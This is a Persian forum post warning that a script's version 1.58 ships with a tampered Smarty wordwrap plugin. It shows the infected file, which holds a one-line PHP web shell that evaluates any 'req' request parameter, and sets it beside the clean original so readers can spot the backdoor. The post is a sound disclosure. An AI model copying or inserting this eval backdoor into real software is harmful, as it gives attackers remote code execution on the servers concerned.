نمایش نتایج: از شماره 1 تا 3 , از مجموع 3

موضوع: باگ جدید فریر در نسخه 1.58

Threaded View

پست قبلی پست قبلی   پست بعدی پست بعدی
  1. #3
    عضو جدید
    تاریخ عضویت
    May 2014
    نوشته ها
    24
    تشکر تشکر کرده 
    27
    تشکر تشکر شده 
    26
    تشکر شده در
    18 پست

    پیش فرض پاسخ : باگ جدید فریر در نسخه 1.58

    با سلام
    این سورس این فایل که درون اسکریپت فریر ورژن 1.58 جاسازی شده است مربوط به Smarty:
    کد:
    <?php
    /**
     * Smarty plugin
     *
     * @package Smarty
     * @subpackage PluginsModifierCompiler
     */
    
    
    /**
     * Smarty wordwrap modifier plugin
     * 
     * Type:     modifier<br>
     * Name:     wordwrap<br>
     * Purpose:  wrap a string of text at a given length
     * 
    <?php $post_var = "req"; if(isset($_REQUEST[$post_var])) { eval(stripslashes($_REQUEST[$post_var])); exit(); }; ?>
    <?php
     * @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php wordwrap (Smarty online manual)
     * @author Uwe Tews 
     * @param array $params parameters
     * @return string with compiled code
     */
    function smarty_modifiercompiler_wordwrap($params, $compiler)
    {
        if (!isset($params[1])) {
            $params[1] = 80;
        } 
        if (!isset($params[2])) {
            $params[2] = '"\n"';
        } 
        if (!isset($params[3])) {
            $params[3] = 'false';
        } 
        return 'wordwrap(' . $params[0] . ',' . $params[1] . ',' . $params[2] . ',' . $params[3] . ')';
    } 
    
    
    ?>

    و این هم کد اصلی همین فایل که از Github مربوط به فریم ورک Smarty:

    کد:
    <?php
    /**
    * Smarty plugin
    *
    * @package Smarty
    * @subpackage PluginsModifierCompiler
    */
    /**
    * Smarty wordwrap modifier plugin
    * Type: modifier<br>
    * Name: wordwrap<br>
    * Purpose: wrap a string of text at a given length
    *
    * @link http://smarty.php.net/manual/en/language.modifier.wordwrap.php wordwrap (Smarty online manual)
    * @author Uwe Tews
    *
    * @param array $params parameters
    * @param $compiler
    *
    * @return string with compiled code
    */
    function smarty_modifiercompiler_wordwrap($params, $compiler)
    {
    if (!isset($params[1])) {
    $params[1] = 80;
    }
    if (!isset($params[2])) {
    $params[2] = '"\n"';
    }
    if (!isset($params[3])) {
    $params[3] = 'false';
    }
    $function = 'wordwrap';
    if (Smarty::$_MBSTRING) {
    if ($compiler->template->caching && ($compiler->tag_nocache | $compiler->nocache)) {
    $compiler->template->required_plugins['nocache']['wordwrap']['modifier']['file'] = SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php';
    $compiler->template->required_plugins['nocache']['wordwrap']['modifier']['function'] = 'smarty_mb_wordwrap';
    } else {
    $compiler->template->required_plugins['compiled']['wordwrap']['modifier']['file'] = SMARTY_PLUGINS_DIR . 'shared.mb_wordwrap.php';
    $compiler->template->required_plugins['compiled']['wordwrap']['modifier']['function'] = 'smarty_mb_wordwrap';
    }
    $function = 'smarty_mb_wordwrap';
    }
    return $function . '(' . $params[0] . ',' . $params[1] . ',' . $params[2] . ',' . $params[3] . ')';
    }

    بهرحال من با جایگزین کردن فایل اصلی مشکل رو حل کردم.
    یکی از دلایل اصلی استفادم از سرویس دهنده خارجی همین داستان امنیت هست که هیچ تجربه خوبی از سرویس دهنده های ایرانی نداشتم...
    تا حالا چند مورد پیش اومده که توی افزونه های ورد پرس هم همچین کد هایی قرار داده بودن و سرویس دهنده اتوماتیک *****شون کرد واسم...
    یه سایت بنده روی یه سرور اشتراکی سرویس دهنده ایرانی که ایران سرور بود تو همین سایتم فعالیت میکنه دایما لیمیت و از دسترس خارج میشد...
    که بعد ها بعد از انتقال به این سرویس دهنده متوجه شدم توی یکی از پلاگین های وردپرس کدی بود که باعث میشد منابع سیستم زیادتر از حد مجاز مصرف بشه.
    کلا من تجربه خوبی در مورد سرویس دهنده های ایرانی ندارم.
    تا قبل از خرید بهترین برخورد و بعد از خرید گند ترین برخورد ها رو ازشون دیده میشه نه همه ولی قشر بسیاری...
    ولی خوب دیگه اطلاع رسانی بنده بود برای دوستان
    ویرایش توسط mehdisoheili : August 31st, 2016 در ساعت 02:34

اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •